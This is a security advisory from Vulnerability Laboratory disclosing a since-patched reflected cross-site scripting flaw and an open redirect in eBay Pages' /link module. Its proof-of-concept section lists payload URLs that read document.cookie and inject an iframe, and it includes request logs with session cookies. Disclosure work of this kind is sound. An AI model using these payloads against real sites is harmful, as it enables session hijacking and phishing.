Document Title: =============== Ebay Inc (Pages) - Client Side Cross Site Scripting Vulnerabilities References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=1626 Release Date: ============= 2016-02-07 Vulnerability Laboratory ID (VL-ID): ==================================== 1626 Common Vulnerability Scoring System: ==================================== 3.4 Product & Service Introduction: =============================== eBay Inc. is an American multinational internet consumer-to-consumer corporation, headquartered in San Jose, California. It was founded by Pierre Omidyar in 1995, and became a notable success story of the dot-com bubble; it is now a multi-billion dollar business with operations localized in over thirty countries. The company manages eBay.com, an online auction and shopping website in which people and businesses buy and sell a broad variety of goods and services worldwide. In addition to its auction-style sellings, the website has since expanded to include `Buy It Now` standard shopping; shopping by UPC, ISBN, or other kind of SKU (via Half.com); online classified advertisements online event ticket trading online money transfers and other services. (Copy of the Homepage: http://en.wikipedia.org/wiki/EBay ) Abstract Advisory Information: ============================== An independent vulnerability laboratory researcher discovered multiple client-side vulnerabilities in the official Ebay Inc Pages online service web-application. Vulnerability Disclosure Timeline: ================================== 2015-10-27: Researcher Notification & Coordination (Daniel Diaz) 2015-10-27: Vendor Notification (Ebay Inc - Security Team) 2015-11-03: Vendor Response/Feedback (Ebay Inc - Security Team) 2016-02-06: Vendor Fix/Patch (Ebay Inc - Security Team) 2016-02-07: Vendor Fix/Patch (Ebay Inc - Developer Team) [Acknowledgements] 2016-02-07: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== Ebay Inc. Product: Ebay Pages - Online Service (Web-Application) 2015 Q4 Exploitation Technique: ======================= Remote Severity Level: =============== Medium Technical Details & Description: ================================ Multiple client-side web vulnerabilities has been discovered in the official Ebay Pages online service web-application. The first vulnerability allows remote attacker to inject client-side script codes to compromise browser to application requests. The second vulnerability allows remote attacker to redirect client-side browser to application request for external manipulation. The first vulnerability is a client-side cross site scripting vulnerability that is located in the nav value of the vulnerable link module. The domain pages.ebay.com/link/ has two parameters `nav` and `url`. The `nav` parameter receives as argument `webview`. If an attacker sends a javascript code like `javascript:alert(document.cookie)` the code will execute in the same reply. The attack vector of the issue is non- persistent and the request method to inject/execute is GET. The second vulnerability is a client-side open redirect web vulnerability that is located in the url value of the vulnerable link module. The `url` parameter receives as argument an url or javascript code. If an attacker sends an url like `http://www.google.es` the application will open the malicious webpage. The attack vector of the issue is non-persistent and the request method to redirect is GET. The security risk of the client-side vulnerabilities is estimated as medium with a cvss (common vulnerability scoring system) count of 3.4. Exploitation of the security vulnerabilities requires no privilege web-application user account and low or medium user interaction. Successful exploitation of the vulnerabilities results in session hijacking, non-persistent phishing, non-persistent external redirects, non-persistent load of malicious script codes or non-persistent web module context manipulation. Request Method(s): [+] GET Vulnerable Module(s): [+] Ebay Pages > /link Vulnerable Parameter(s): [+] nav [+] url Affected Module(s): [+] webview Proof of Concept (PoC): ======================= The vulnerabilities can be exploited by remote attackers without privileged web-application user account and with low or medium user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. PoC: Client Side Cross Site Scripting http://pages.ebay.com/link/?nav=webview&url=javascript:alert(document.domain) http://pages.ebay.com/link/?nav=webview&url=javascript:alert(document.cookie) http://pages.ebay.com/link/?nav=webview&url=iframe:src=http://www.vulnerability-lab.com PoC: Source
--- PoC Session Logs [GET] --- Status: 304[Not Modified] GET http://pages.ebay.com/link/?nav=webview&url=javascript:alert(document.cookie) Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Größe des Inhalts[-1] Mime Type[application/x-unknown-content-type] Request Header: Host[pages.ebay.com] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate] Cookie[npii=btguid/a8d2551b1500a62058347f34fbac003858109e95^cguid/a8d2551b1500a62058347f34fbac003758109e95^; ebay=%5Edv%3D562f6b10%5Esbf%3D1048576%5E; dp1=btzo/-3c59f1d210^idm/15630bc90^; ds2=ssts/1445948177836^] Connection[keep-alive] If-Modified-Since[Tue, 27 Oct 2015 11:59:06 GMT] If-None-Match[f4c21154051531986879f9ae221d1409] Response Header: Server[Apache-Coyote/1.1] Etag[f4c21154051531986879f9ae221d1409] Last-Modified[Tue, 27 Oct 2015 12:06:51 GMT] Date[Tue, 27 Oct 2015 12:16:33 GMT] PoC: Open Redirect http://pages.ebay.com/link/?nav=webview&url=http://www.vulnerability-lab.com --- PoC Session Logs [GET] --- Status: 200[OK] GET http://pages.ebay.com/link/?nav=webview&url=http://www.vulnerability-lab.com Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Größe des Inhalts[2076] Mime Type[text/html] Request Header: Host[pages.ebay.com] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate] Cookie[npii=btguid/a8d2551b1500a62058347f34fbac003858109ea3^cguid/a8d2551b1500a62058347f34fbac003758109ea3^; ebay=%5Edv%3D562f6b10%5Esbf%3D1048576%5E; dp1=btzo/-3c59f1d210^idm/15630bc90^; ds2=ssts/1445948177836^] Connection[keep-alive] Response Header: Server[Apache-Coyote/1.1] Etag[f4c21154051531986879f9ae221d1409] Last-Modified[Tue, 27 Oct 2015 11:39:23 GMT] Content-Encoding[gzip] Content-Type[text/html;charset=UTF-8] Content-Length[2076] Date[Tue, 27 Oct 2015 12:19:26 GMT] 13:19:25.049[588ms][total 723ms] Status: 200[OK] GET http://www.vulnerability-lab.com/ Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Größe des Inhalts[76652] Mime Type[text/html] Request Header: Host[www.vulnerability-lab.com] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate] Referer[http://pages.ebay.com/link/?nav=webview&url=http://www.vulnerability-lab.com] Cookie[PHPSESSID=df69fc7036e1108f80ce131d57f8b610] Connection[keep-alive] Response Header: Cache-Control[no-store, no-cache, must-revalidate, post-check=0, pre-check=0] Pragma[no-cache] Content-Type[text/html] Expires[Thu, 19 Nov 1981 08:52:00 GMT] Server[Microsoft-IIS/8.5] X-Powered-By[ASP.NET] X-Powered-By-Plesk[PleskWin] Date[Tue, 27 Oct 2015 12:19:31 GMT] Content-Length[76652] Reference(s): http://pages.ebay.com/ http://pages.ebay.com/link/ Solution - Fix & Patch: ======================= The open redirect vulnerability can be patched by a restriction of the vulnerable url parameter. Approve the context and validate the request urls to prevent malicious redirects. The client-side cross site scripting web vulnerability can be patched by a secure parse and encode of the vulnerable nav value in the link module GET method request. Restrict the input to the parameter value and disallow special chars to prevent client-side script code injection attacks. Security Risk: ============== The security risk of the client-side vulnerabilities in the official ebay online service pages Credits & Authors: ================== Daniel Díez Tainta - (@DaniLabs) Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material. Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com Section: magazine.vulnerability-db.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/ Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact (admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission. Copyright © 2016 | Vulnerability Laboratory - [Evolution Security GmbH]™ -- VULNERABILITY LABORATORY - RESEARCH TEAM SERVICE: www.vulnerability-lab.com CONTACT: research@vulnerability-lab.com